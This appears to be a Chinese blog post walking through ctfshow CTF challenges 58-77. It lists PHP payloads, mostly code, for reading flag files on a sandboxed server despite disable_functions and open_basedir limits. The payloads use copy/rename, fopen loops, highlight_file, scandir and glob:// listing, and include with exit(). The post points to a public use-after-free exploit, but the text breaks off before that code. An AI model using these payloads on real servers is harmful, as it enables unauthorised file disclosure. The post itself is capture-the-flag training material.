您当前的位置: 首页 > 

yu22x

暂无认证

  • 7浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow web入门58-77绕过disable function

yu22x 发布时间:2020-09-17 12:07:56 ,浏览量:7

该系列为php中绕过disable function的题目 下文中写的过xxx(65之前的)表示此题及此题之前的都可以过

通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
函数:
copy()
rename()
用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php");           //过58
readfile("flag.php");                         //过58
print_r(file("flag.php"));                    //过59
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  //过60
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source("flag.php");                //过65  此后需先扫描目录
highlight_file("flag.php");             //过65
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt");                                                           //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };highlight_file("/flag.txt");  //过66-67
后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt");  //过66-70
require("/flag.txt");  //过66-70
绕过echo preg_replace("/[0-9]|[a-z]/i","?",$s);
直接后面输入 exit();即可
用法
include("/flag.txt");exit();  //过71
require("/flag.txt");exit();  //过71
echo(scandir("/")[6]);include("/flagc.txt");exit();  //过73
$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit();  //过74
绕过open_basedir
//可绕72的目录限制,但无法读文件
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . ""; };include("flagx.txt");exit(); 

//可绕72,利用uaf绕过函数限制 (传入后需url编码下)
代码来源(https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)
c=?>            
关注
打赏
1617522777
查看更多评论
0.0513s